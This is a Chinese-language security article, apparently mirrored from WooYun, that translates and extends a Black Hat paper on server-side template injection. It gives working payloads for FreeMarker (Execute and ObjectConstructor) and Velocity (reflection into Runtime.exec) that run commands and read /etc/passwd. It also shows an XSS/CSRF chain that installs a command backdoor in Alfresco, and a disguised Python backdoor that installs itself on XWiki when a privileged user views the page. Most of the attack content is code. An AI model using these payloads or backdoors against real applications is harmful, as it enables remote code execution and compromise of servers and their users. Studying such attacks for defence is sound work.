作者:
lupin
·
2015/09/02 10:21
0x00 前言
原文連結:https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
最近看了這篇文章,其實也不是新技術,但是作者給出的兩個攻擊案例很不錯,看到drops裡面有人翻譯了這篇文章,但是沒有把攻擊案例翻譯出來,於是把這部分內容補充上。這兩個案例分別針對FreeMarker
和Velocity
,所以把作者針對這兩個模板引擎編寫Exploit的過程也翻譯出來。
0x01 開發Exploit
很多的模板引擎都會試圖限制模板程式執行任意程式碼能力,來防止應用層邏輯對錶達式引擎的攻擊。還有一些模板引擎則嘗試透過沙盒等手段來安全處理不可信的使用者輸入。在這些措施之下,開發一個模板後門變得非常有挑戰性。
FreeMarker
FreeMarke是最流行的Java模板之一,也是最頻繁的交給使用者操作的模板。FreeMarker官網解釋了允許“使用者提供”模板的危險性:
對應翻譯:
22.可以允許使用者上傳模板檔案嗎,這對安全性有影響嗎? 一般來說,你不應該允許使用者做這樣的操作,除非是管理員或者可信使用者。考慮到模板就是和*.java檔案類似的原始碼檔案。如果你依然想要允許使用者上傳模板檔案,這裡是你應該考慮的東西: http://freemarker.org/docs/app_faq.html#faq_template_uploading_security
在一些類似DoS這種低風險安全問題之後,我們可以看到下面這個:
對應翻譯:
內建的new
運算子 (Configuration.setNewBuiltinClassResolver,Environment.setNewBuiltinClassResolver
):在模板檔案中像這樣使用”com.example.SomeClass”?new()
,這個對FTL庫來說很重要,但是在正常的模板檔案中時不需要使用。FreeMarker中包含一個TemplateModel
介面,這個介面可以用於構造任意java物件,new
運算子可以例項化TemplateModel
的實現類。有一些危險的TemplateModel
實現類有可能會在classpath中。 就算一個類沒有實現TemplateModel
介面,這個類裡面的靜態程式碼塊也會被執行。為了避免這種情況出現,你可以使用TemplateClassResolver
類來制約對類的訪問,像下面這樣: TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
這條警告略顯神秘,但是它讓我們想到透過內建的new運算子來完成exp也許是可以的。讓我們看一下關於new運算子的文件:
對應翻譯:
這個內建的運算子需要引起安全關注,因為模板的編寫人可以透過它來構造任意java物件然後使用這些構造處理的java物件,只要他們實現了TemplateModel
介面。而且模板編寫者還能夠觸發類中靜態程式碼塊中的程式碼,即使這個類沒有實現TemplateModel
介面。如果你允許不是很信任的使用者上傳模板,你應該看一下下面這個主題。 http://freemarker.org/docs/ref_builtins_expert.html#ref_builtin_new
TemplateModel
的實現類中存在對我們有用的類嗎?讓我們來看一下這個介面的JavaDoc:
一個類的名字出現了:Execute
。
檢視這個類的詳情可以發現它能夠做我們想要做的事:接收輸入並且執行
使用它非常簡單:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
這個payload在後面將會非常有用。
補充:
經過對TemplateModel
的其他實現類進行研究,發現ObjectConstructor
類同樣很有用,從名字上就可以看出來,這個類是用來構造其他類的物件的,看一下程式碼就可以明白如何使用了:
透過程式碼可以看到提供類名稱和建構函式的引數,就可以利用ObjectConstructor
類構造我們想要的類,有了這個我們就可以執行任意java程式碼了,下面給出兩個例項,一個是執行命令,另一個是檔案讀取。
命令執行:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder","ifconfig").start().getInputStream())) >
<#list 1..10000 as t>
<#assign line=br.readLine()!"null">
<#if line=="null">
<#break>
</#if>
${line}
${"<br>"}
</#list>
檔案讀取:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.io.FileInputStream","/etc/passwd"))) >
<#list 1..10000 as t>
<#assign line=br.readLine()!"null">
<#if line=="null">
<#break>
</#if>
${line?html}
${"<br>"}
</#list>
Velocity
Velocity
是另一個流行的Java模板框架,非常難exploit。沒有“安全注意事項”頁面來指出存在風險的函式和內部變數。下面這張截圖顯示的是用Burp暴力破解變數名,左側是payload右邊是伺服器的返回值。
變數class
看起來有用,因為它返回了一個Object
類的Class
物件。透過Google找到了這個連結https://velocity.apache.org/tools/releases/2.0/summary.html:
可以看到一個方法和一個屬性:
我們可以把$class.inspect
和$class.type
結合起來構造任意的物件。然後我們就可以透過Runtime.exec()
執行任意命令了。這個想法用下面的程式碼可以確認,這段程式碼會造成一個延遲。
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
[5 second time delay]
0
獲取命令執行結果有一點麻煩:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
tomcat7
補充:
不得不說原文作者的方法有點麻煩,而且這種方式只能用在Velocity Tool
中,不能用在Velocity Engine
中,其實這個直接用反射就可以,程式碼如下:
#set ($exp = "exp")
$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")
0x02 兩個案例
案例1:Alfresco
Alfresco 是一個CMS系統。低許可權使用者可以藉助一個儲存XSS漏洞,利用FreeMarker模板注入方式獲取WebShell。前面建立的FreeMarker後門可以直接使用,但是我把它擴充套件成了用請求引數作為命令的形式:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex(url.getArgs())}
低許可權使用者沒有許可權編輯模板,但是可以透過儲存XSS利用管理員賬戶來安裝這個後門。我編寫了下面的JavaScript程式碼來完成這種攻擊:
#!javascript
tok = /Alfresco-CSRFToken=([^;]*)/.exec(document.cookie)[1];
tok = decodeURIComponent(tok) do_csrf=new XMLHttpRequest(); do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace /SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false); do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8'); do_csrf.setRequestHeader('Alfresco-CSRFToken',tok); do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt;#assign ex=\\"freemarker.template.utility.Execute\\"?new()> ${ ex(url.getArgs())}","prop_cm_description":""}');
模板的GUID是有差別的,但是低許可權的使用者也可以很容易的透過“資料字典”獲得。此外和其他應用的管理員可以控制整個web伺服器不同,alfresco系統管理員可以做的操作是有嚴格限制的。
案例2:XWiki Enterprise
XWiki Enterprise是一個專業wiki程式。在預設配置情況下,匿名的使用者可以註冊使用者並且編輯wiki頁面時可以嵌入Velocity模板程式碼。這種特性讓它成為了模板注入的理想目標。然而,前面建立的Velocity payload是不能用的,原因是$class在這裡是不能使用的。
XWiki對於Velocity是這樣說的:
對應翻譯:
XWiki沙盒透過提供安全的物件訪問,並且每個API呼叫都會檢測許可權,禁止對未授權的資源進行操作,所以不需要特別的許可權控制。其他指令碼語言需要指令碼語言編寫人有許可權執行他們,但是除此之外,訪問的是伺服器上的所有資源。
…… 沒有許可權就不能例項化物件,只能使用文字和XWiki APIs提供的安全的資源。如果按照XWiki提供的正確方式,XWiki可以安全的開發出大量的應用來。
…… 瀏覽包含指令碼的頁面是不需要擁有Programming許可權的,只有在儲存的時候需要。 http://platform.xwiki.org/xwiki/bin/view/DevGuide/Scripting
換句話來說,XWiki不僅支援Velocity,也支援Groovy和Python這種沒有沙盒的指令碼。然而這種操作需要programming許可權。這是個好事,因為它把提權轉變成了任意程式碼執行。由於我們只能使用Velocity,我們必須使用XWiki API。
$doc類又一些很有趣的方法,聰明的讀者可能會發現一個缺陷:
一個wiki頁面的內容作者是最後一個編輯它的使用者。save
方法和saveAsAuthor
方法的不同說明,save
方法不會用作者身份儲存內容,而是用當前訪問頁面使用者的身份。換句話說,一個低許可權使用者可以建立一個wiki頁面,當擁有programming許可權的使用者檢視並且編輯儲存這個頁面的時候指令碼就會執行。我們來注入下面這個Python後門:
#!python
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
我們只需要新增一些程式碼來獲取管理員的許可權:
innocent content
#if( $doc.hasAccessLevel("programming") )
$doc.setContent("
innocent content
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
")
$doc.save()
#end
當包含有這樣內容的頁面被一個有programming許可權的使用者檢視的時候,後門會自動安裝。之後所有訪問這個頁面的人都可以執行任意命令了:
0x03 後記
作者提出的這種攻擊思路還是很不錯的,以前也瞭解這種模板檔案可以用來執行任意程式碼,但是沒有很深入的去思考進一步的利用方式,傳統的攻擊思路一般是獲取後臺管理員許可權,然後利用上傳等漏洞getshell,但其實後臺編輯模板的功能很多時候就可以直接執行任意程式碼,經過測試大部分具有編輯模板功能的應用都存在類似問題,看來在攻擊過程中對技術理解越透徹思路就越廣。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!